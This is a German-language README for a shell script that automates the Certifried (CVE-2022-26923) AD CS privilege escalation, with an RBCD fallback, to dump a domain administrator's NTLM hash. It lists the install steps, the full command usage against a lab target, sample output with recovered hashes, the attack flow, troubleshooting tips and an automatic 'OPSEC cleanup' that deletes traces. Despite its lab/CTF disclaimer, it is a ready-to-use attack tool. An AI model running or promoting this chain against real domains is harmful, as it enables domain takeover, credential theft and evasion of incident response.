
Automatisierte CVE-2022-26923-Ausnutzung (Certifried)
Automatisierte Ausnutzung von CVE-2022-26923 (Certifried), die eine Privilegienausweitung durch Missbrauch von Active Directory Certificate Services (AD CS) ermöglicht, mit einem automatischen Fallback auf Resource-Based Constrained Delegation (RBCD), die schließlich den NTLM-Hash eines Domänenadministratorkontos extrahiert.
⚠️ Nur für Bildungszwecke / Labor / CTF
Nicht in unbefugten Umgebungen verwenden.
Dieses Skript automatisiert die folgende Angriffskette:
dNSHostName-Attributs, um es dem Domain Controller anzupassensecretsdump.py unter Verwendung des DC-HashesbloodyADimpacket-addspngetST.pysecretsdump.py mit dem Kerberos-TicketdNSHostName-Attribut manipuliert wird, wodurch die CA ein Zertifikat für das DC-Konto ausstelltpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP-Adresse des Domain Controllers
-D, --domain Domänenname (z.B. corp.local)
-u, --user Gültiger Domänenbenutzer (UPN-Format: benutzer@domäne)
-p, --pass Benutzerpasswort
--verbose Debug-Modus: alle ausgeführten Befehle anzeigen
-h, --help Diese Hilfemeldung anzeigen
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Tipp: Vor dem Ausführen den genauen CA-Namen und die Vorlage identifizieren mit:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutDann
CA_NAMEundTEMPLATEin den Skript-Standardwerten entsprechend aktualisieren.
Abhängig von der Umgebung wird einer von zwei Pfaden erfolgreich sein:
Methode 1 (Klassisch):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Methode 2 (RBCD Fallback):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC-Bereinigung läuft automatisch am Ende (oder bei Strg+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Zufällige Maschinenkontoerstellung (z.B. PWN8472$)
↓
dNSHostName-Spoofing → dc.domain.local
↓
Dynamische LDAP-Sync-Überprüfung (Polling)
↓
Zertifikatsanforderung über RPC (Maschinenvorlage)
[NETBIOS-Timeout automatischer Wiederholungsversuch bis zu 5x]
↓
┌─────────────────────────────────────────┐
│ METHODE 1 — KLASSISCH │
│ certipy-ad auth -pfx dc.pfx │
│ → DC-NTLM-Hash über PKINIT │
│ → DCSync über secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHODE 2 — RBCD FALLBACK │
│ PFX → PEM-Konvertierung (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN auf COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump über KRB5-Ticket │
└─────────────────────────────────────────┘
↓
OPSEC-Bereinigung (trap EXIT/INT/TERM)
- RBCD-Attribut auf DC entfernen
- Maschinenkonto (COMP$) löschen
- Lokale PFX-/PEM-/ccache-Dateien löschen
Dieses Projekt wird bereitgestellt für:
Der Autor übernimmt keine Haftung für unbefugte oder illegale Nutzung dieses Werkzeugs.
| Werkzeug | Zweck |
|---|
certipy-ad | Kontoerstellung/-aktualisierung, Zertifikatsanforderung, PKINIT-Authentifizierung |
bloodyAD | RBCD-Attributmanipulation (Fallback) |
impacket-addspn | SPN-Hinzufügung auf dem Maschinenkonto (Fallback) |
impacket-getST | S4U2Self + S4U2Proxy-Ticketanforderung (Fallback) |
impacket-secretsdump | DCSync / NTLM-Hash-Dump |
openssl | PFX → PEM-Konvertierung (Fallback) |
| Symptom | Ursache | Lösung |
|---|
NETBIOS connection timed out | AD CS RPC-Verzögerung auf HTB | Wird automatisch behandelt (5 Wiederholungen) |
KDC_ERR_BADOPTION bei getST | Fehlender SPN auf COMP$ | Skript verwendet jetzt impacket-addspn vor getST |
KDC_ERR_WRONG_REALM bei secretsdump | Falscher SPN (LDAP vs cifs) | Skript verwendet cifs/ SPN für getST |
Clock skew too great | Kerberos-Zeitversatz | sudo ntpdate <DC_IP> vor dem Ausführen |
| Löschen des Maschinenkontos fehlschlägt | Unzureichende AD-Rechte (normal) | Skript ignoriert graceful mit ` |
unrecognized arguments mit certipy-ad | Falsche Syntax (altes certipy-Format) | Skript verwendet explizite Flags -u/-p/-target-ip |